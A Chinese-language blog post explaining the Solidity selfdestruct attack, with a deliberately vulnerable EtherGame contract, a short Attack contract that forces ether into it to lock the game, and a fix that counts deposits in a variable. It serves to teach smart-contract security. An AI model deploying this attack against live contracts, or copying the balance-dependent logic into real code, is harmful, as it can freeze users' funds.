# 智能合约安全-selfdestruct 攻击 **Published by:** [0xEe20](https://paragraph.com/@0xee20/) **Published on:** 2022-05-18 **URL:** https://paragraph.com/@0xee20/selfdestruct ## Content selfdestruct函数可以在执行时强制向目标地址转账,从而影响目标合约的正常业务逻辑。(比如合约有基于address(this).balance的业务逻辑) 下面是一个经典的例子:// SPDX-License-Identifier: MIT // The goal of this game is to be the 7th player to deposit 1 Ether. // Players can deposit only 1 Ether at a time. // Winner will be able to withdraw all Ether. /* 1. Deploy EtherGame 2. Players (say Alice and Bob) decides to play, deposits 1 Ether each. 2. Deploy Attack with address of EtherGame 3. Call Attack.attack sending 5 ether. This will break the game No one can become the winner. What happened? Attack forced the balance of EtherGame to equal 7 ether. Now no one can deposit and the winner cannot be set. */ pragma solidity ^0.8.10; contract EtherGame { uint public targetAmount = 7 ether; address public winner; function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); uint balance = address(this).balance; require(balance <= targetAmount, "Game is over"); if (balance == targetAmount) { winner = msg.sender; } } function claimReward() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } } contract Attack { EtherGame etherGame; constructor(EtherGame _etherGame) { etherGame = EtherGame(_etherGame); } function attack() public payable { // You can simply break the game by sending ether so that // the game balance >= 7 ether // cast address to payable address payable addr = payable(address(etherGame)); selfdestruct(addr); } } 注释里有合约目的的说明,不再赘述了 代码放到remix中执行, 无论产生winner前有多少人调用过deposit(), 在使用攻击合约Attack.attack()调用seldestruct时,发送代币数量选择任意可以让合约余额大于等于7的值。 这样即可越过deposit()业务逻辑,直接让address(this).balance的值大于7。 因为deposit()中require(balance <= targetAmount, "Game is over"); 限制balance要不超过7,所以后来者也无法再次存款, 已经打过款的人也无法claimReward。 合约从而瘫痪,永远无法产生winner 防止攻击方法: 别直接用全局address(this).balance了呗!用变量重新统计进入deposit逻辑的代币数。 function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); balance += msg.value; require(balance <= targetAmount, "Game is over"); if (balance == targetAmount) { winner = msg.sender; } } ## Publication Information - [0xEe20](https://paragraph.com/@0xee20/): Publication homepage - [All Posts](https://paragraph.com/@0xee20/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@0xee20): Subscribe to updates - [Twitter](https://twitter.com/AlloyDeOnion): Follow on Twitter